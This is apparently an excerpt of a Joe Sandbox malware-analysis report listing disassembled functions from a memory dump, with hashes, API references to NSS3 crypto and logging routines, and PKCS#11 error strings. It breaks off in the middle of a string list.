Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 91128b78534a4d760ee12ef1ab11db4e09269988eca6c41820445f714066ff23
Instruction ID: 06f1f3e07e99ffb25b3305dab425eb93dba05b36a15260c71eac39f2f1cc76b6
Opcode Fuzzy Hash: 91128b78534a4d760ee12ef1ab11db4e09269988eca6c41820445f714066ff23
Instruction Fuzzy Hash: BC92A275A08219CFDB24CF69C480B99B7B2FF48318F2581AED8499BB52D734D992CF40

Function 6CDD3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDD3EA9

Strings

0, xrefs: 6CDD3DAB

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: e206e8075cf232ea3d26ba7d57eb4888cdc14b61bc1bf052ca13c5165b0a1ee1
Instruction ID: 968a970a3b7f3e6c654d29c734f5f23d89b1dc785894eb639c9e5ea511a84f0f
Opcode Fuzzy Hash: e206e8075cf232ea3d26ba7d57eb4888cdc14b61bc1bf052ca13c5165b0a1ee1
Instruction Fuzzy Hash: 11518C71E481BACADB158B7D88603FFFBB19B43314F1E4329C5A167AE1D234A54987D0

Function 6CE7EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE7F0F9

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 79f5b5c39504a9cafd088fedac836c090385b3ba43379f34af8d7e386435d4f5
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: ED918075A0061A8FCB24CF68C8916AEB7F1FF85324F24472DD962A7BC0D734A905CB61

Function 6CEA2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEC7929), ref: 6CEA2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEC7929), ref: 6CEA2FE0

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: eef4b0ceef15c453fa62e87a5ef266947bae55a8e59810b9366837380e0dea8c
Instruction ID: 839fbc09ec54bcec44a55d0b6d34035542b8df8ac99e6b2ee33a637d27338b4c
Opcode Fuzzy Hash: eef4b0ceef15c453fa62e87a5ef266947bae55a8e59810b9366837380e0dea8c
Instruction Fuzzy Hash: E951C171A049118FD7148EEAC8C0B6AB7B1EF4631CF39416AD909AFB02D735E947CB81

Function 6CDEAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDEAE9F
winUnlock, xrefs: 6CDEAE18

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9886d6583174b181628c654ed56484eab0fbb77ebfb9a3c0d00eed93edd9453c
Instruction ID: a32ccecb8038efc36b76c0daca82f5f14c3290d5521c061b06e4c0bbff85ad6c
Opcode Fuzzy Hash: 9886d6583174b181628c654ed56484eab0fbb77ebfb9a3c0d00eed93edd9453c
Instruction Fuzzy Hash: 11718971A18245DFDB44CF28E890BAABBF5FF89314F14CA18F98997311D730A9858BD1

Function 6CEAED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CEAEE3D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: e333744c4f70a24445246c9d7ee116769184b9b1c9f10822f0b3b89b887952bb
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 0771D576E01B018FD718CF99C88166AB7F2EF88308F25862DD8559B791D734E912CBD1

Function 6CDD5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CDD6013

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 1325664a9b67397abcf7cb96ae810defe78abc52155892eeba1e5f564c336a67
Instruction ID: bc63313ac5d814f6c1695fe9e4969cec6dca0366f1e2cc2ed200d2634ece1222
Opcode Fuzzy Hash: 1325664a9b67397abcf7cb96ae810defe78abc52155892eeba1e5f564c336a67
Instruction Fuzzy Hash: DFC101B1E04606CBDB048F25C4507AEBBF2EB45318F2A8519D8958BB62D731F842C7D1

Function 6CDE4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDE5125

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: caf2f1ee449c15dfba5693630e226d33e55a6c93081ef6bc8a5c99be73da775f
Instruction ID: 010e6e94951192777823bc4bb2c08522f48013034f941340b06607b94d393db6
Opcode Fuzzy Hash: caf2f1ee449c15dfba5693630e226d33e55a6c93081ef6bc8a5c99be73da775f
Instruction Fuzzy Hash: 09E13B70E28340CFDB44DF28D59475ABBF0BF89358F158A1DE89997361E730A985CB82

Function 6CF65E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF65B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE4DF9B), ref: 6CF65B9E
Part of subcall function 6CF65B90: PR_Unlock.NSS3 ref: 6CF65BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF65E23,6CE4E154), ref: 6CF65EBF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 7bb2803620d08b343148f50ed2508af7caaaf3b7754851fe36d873fea02cce1b
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 59518C72E0021A8FDB18CF59C8816AEF7B2FF98314B19867DD816B7755D730A941CBA0

Function 6CF1DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c353e1fc7e37ae3aed40447a78a1d319d450e825f6bbe1361e7c8b60e8d8c143
Instruction ID: ccd4775b9a86f73df6951182c70f66222e8b1d53b3fd9de096bdb25e57c736ce
Opcode Fuzzy Hash: c353e1fc7e37ae3aed40447a78a1d319d450e825f6bbe1361e7c8b60e8d8c143
Instruction Fuzzy Hash: C3F18E71A05205CFDB09CF19C494BAAB7B2BF89318F298168D8099FB51CB35ED42CBD1

Function 6CEB1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 122be45a27428f10f7edf709c067fae71b87b8bd640f0f6e7f8768d0ce2dfb02
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: D4D158329046568BDB018E58C9843FA7773AF96338F2D4329D8643B7C6C37AA906C3D0

Function 6CE48EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e9e086c6bbb2e46dff8e160eb7006deb0d3401b9c85e10d201608c1665c80fd
Instruction ID: 4f0d53fdb126c2cc2b88ad4ce65a027e56d4c242b778034ca2f316865777ea62
Opcode Fuzzy Hash: 8e9e086c6bbb2e46dff8e160eb7006deb0d3401b9c85e10d201608c1665c80fd
Instruction Fuzzy Hash: FF110132A002198BD728CF25E884B5AB7B5FF4231CF24826AD805CFB41C375E882C7C1

Function 6CF20C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5422d9346c6bdd174b23935f839651f224539bd1a77ece5741be5d78094884f9
Instruction ID: 5952516a7ac6a95e7a858b5f395a04a7801ce8bfa659baae48b53eacc8470e3d
Opcode Fuzzy Hash: 5422d9346c6bdd174b23935f839651f224539bd1a77ece5741be5d78094884f9
Instruction Fuzzy Hash: DE11CEB67043059FCB00DF68C89066A7BB6FF85368F14806DD8198B711DBB5E806CBA0

Function 6CE93FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: fe18d8bf82f0c72965c9481d5ea96570a2f80fcde4b2d4d9aacda632c2c50d55
Instruction ID: f9ee19c097990a47064c48553e9249717cc6ee80a199f821c86d2d10ab757453
Opcode Fuzzy Hash: fe18d8bf82f0c72965c9481d5ea96570a2f80fcde4b2d4d9aacda632c2c50d55
Instruction Fuzzy Hash: E8F0BE70E047598BCB40DF28D4406DEB7F4EF09244F108619EC89AB300EB30AAC4C7D1

Function 6CF20D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 6b43fe7e7222c49e0908d74db5cb051c354b2e857f64fdd6f98ed908819d7c2b
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 5FE06D3B243058A7DB148E49C460BAA7359DF81719FE48079CC599BE01DA77F8038781

Function 6CE4CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd402b2b5878cdf354de276c9b63dd1a5ed2a044662a3002936d701d39e3921
Instruction ID: 2d3a7a76e2588cdfd77e269208fd3c2b7723160367e224c93fb72e1beea2855a
Opcode Fuzzy Hash: fbd402b2b5878cdf354de276c9b63dd1a5ed2a044662a3002936d701d39e3921
Instruction Fuzzy Hash: A4C04838254608CFC744DA08E599AA43BA8AB096507040094EA028B721DB21F800CA84

Function 6CE81D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CE81D46), ref: 6CE82345

Strings

CKR_FUNCTION_CANCELED, xrefs: 6CE81E73
CKR_SIGNATURE_INVALID, xrefs: 6CE820CF
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CE82275
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CE8218D
CKR_FUNCTION_REJECTED, xrefs: 6CE82289
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CE822FF
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CE81F8B
CKR_PIN_LEN_RANGE, xrefs: 6CE82061
rv = 0x%x, xrefs: 6CE82312
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CE82015
CKR_PIN_INVALID, xrefs: 6CE82057
CKR_DEVICE_ERROR, xrefs: 6CE8229D
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CE8227F
CKR_RANDOM_NO_RNG, xrefs: 6CE822A7
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CE81EE1
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CE81F77
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CE82319
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CE82179
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CE81F95
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CE81DE0
CKR_OPERATION_ACTIVE, xrefs: 6CE822B8
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CE82327
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CE81FD7
CKR_SAVED_STATE_INVALID, xrefs: 6CE81E56
CKR_BUFFER_TOO_SMALL, xrefs: 6CE82183
CKR_PIN_INCORRECT, xrefs: 6CE81D92
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CE8232E
CKR_NEW_PIN_MODE, xrefs: 6CE81E9F
CKR_PIN_EXPIRED, xrefs: 6CE8206B
CKR_MUTEX_BAD, xrefs: 6CE81F49
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CE820D9
CKR_MUTEX_NOT_LOCKED, xrefs: 6CE82225
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CE81F0F
CKR_STATE_UNSAVEABLE, xrefs: 6CE82037
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CE82320
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CE8226B
CKR_DEVICE_MEMORY, xrefs: 6CE81FF3
CKR_WRAPPED_KEY_INVALID, xrefs: 6CE81FB5
CKR_PIN_LOCKED, xrefs: 6CE82075
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CE82293, 6CE8233F
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CE8204D
CKR_TOKEN_NOT_PRESENT, xrefs: 6CE81F81
CKR_NEXT_OTP, xrefs: 6CE8222F
CKR_DEVICE_REMOVED, xrefs: 6CE82261
rv = %s, xrefs: 6CE82340
CKR_OK, xrefs: 6CE81DFC
CKR_INFORMATION_SENSITIVE, xrefs: 6CE822B1

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KE